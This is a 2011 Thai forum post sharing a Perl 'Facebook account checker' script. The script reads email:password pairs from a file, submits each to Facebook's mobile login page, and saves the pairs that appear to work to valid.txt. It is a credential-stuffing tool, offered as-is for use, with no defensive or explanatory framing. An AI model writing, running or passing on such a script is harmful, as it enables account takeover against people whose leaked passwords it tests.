ผู้เขียน หัวข้อ: [Perl]Facebook account checker  (อ่าน 551 ครั้ง)

0 สมาชิก และ 1 บุคคลทั่วไป กำลังดูหัวข้อนี้

ออฟไลน์ Admin

  • << ผู้บัญชาการบอร์ด >>
  • Administrator
  • << Hero Member >>
  • *****
  • กระทู้: 2,666
  • ความมีน้ำใจ: +2657/-0
  • เพศ: ชาย
  • Developer ขาโหด..!!
  • OS:
  • Windows 7/Server 2008 R2 Windows 7/Server 2008 R2
  • Browser:
  • MS Internet Explorer 7.0 MS Internet Explorer 7.0
    • www.rockdevper.com
    • อีเมล์
[Perl]Facebook account checker
« เมื่อ: พฤษภาคม 21, 2011, 05:36:37 PM »
โค๊ด: [Select]
#!/usr/bin/perl -w
#fro soulx0rg! :D

use strict;
use LWP::UserAgent;
sub loadf($);
my $ua = new LWP::UserAgent(agent => 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.5) Gecko/20060719 Firefox/1.5.0.5');
my @accs = loadf("accs.txt");
my ($em, $pw);
foreach my $lines (@accs) {
   $lines =~ s/^\s$//;
   $lines =~ s/\s+$//;
   if ($lines =~ m/(.*?):(.*?)$/g) {
      $em = $1;
      $pw = $2;
   } else {
      print "[x] Skipping line: " . $lines . "\n";
      next;
   }
   my $res = $ua->post('https://m.facebook.com/login.php',
   {
      'email'   =>   $em,
      'pass'   =>   $pw,
      'login'   =>   'Log+In'
   });
   if ($res->content =~ m/Incorrect email/) {
      print "[x] Account invalid: " . $em . "\n";
      next;
   } else {
      print "[+] FOUND: " . $lines . "\n";
      open(SV, '>>', 'valid.txt');
      print SV $lines . "\n";
      close(SV);
   }
}

sub loadf($) {
   my @file;
   open(FILE, $_[0] . "\n") or die("[+] Couldn't open " . $_[0] . "\n");
   @file = <FILE>;
   close(FILE);
   return @file;
}

Ref: http://forum.k0d.cc/showthread.php?t=6805